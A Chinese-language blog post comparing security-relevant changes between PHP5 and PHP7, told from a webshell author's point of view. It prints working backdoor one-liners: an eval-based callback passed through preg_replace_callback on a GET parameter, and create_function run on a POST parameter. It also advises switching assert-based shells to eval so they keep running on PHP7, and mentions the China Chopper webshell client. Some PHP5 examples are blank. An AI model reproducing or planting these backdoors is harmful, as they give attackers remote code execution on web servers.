php 7 和 5,PHP7和PHP5上的安全区别

preg_replace()不再支持/e修饰符

利用\e修饰符执行代码的后门大家也用了不少了,具体看官方的这段描述:

如果设置了这个被弃用的修饰符, preg_replace() 在进行了对替换字符串的 后向引用替换之后, 将替换后的字符串作为php 代码评估执行(eval 函数方式),并使用执行结果 作为实际参与替换的字符串。单引号、双引号、反斜线()和 NULL 字符在 后向引用替换时会被用反斜线转义.

PHP5:

PHP7:

OR:

function backdoor($a)

{

// 通常: $a[0]是完成的匹配

// $a[1]是第一个捕获子组的匹配

// 以此类推

return eval($a[0]);

}

echo preg_replace_callback("/.*/",backdoor,$_GET["z"]);

?>

create_function()被废弃

$func =create_function('',$_POST['cmd']);$func();

?>

unserialize()增加一个可选白名单参数

略过。。

assert()默认不再可以执行代码

这就是众多马不能用的罪魁祸首了,太多的马用assert()来执行代码了,这个更新基本就团灭,一般情况下修改成eval即可正常运行了~

提一下,菜刀在实现文件管理器的时候用的恰好也是assert函数,这导致菜刀没办法在PHP7上正常运行。

十六进制字符串不再被认为是数字

这个修改一出,以后CTF套路会少很多啊~

很多骚操作都不能用了~

不向后兼容的变更(移除了 ASP 和 script PHP 标签)

现在只有<?php ?>这样的标签能在php7上运行

40abc594a118

图片.png

移除&ltscript language="php">和<%这两种另类的php标签

飞起容易导致变量附带的无第二个参数的parse_str

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值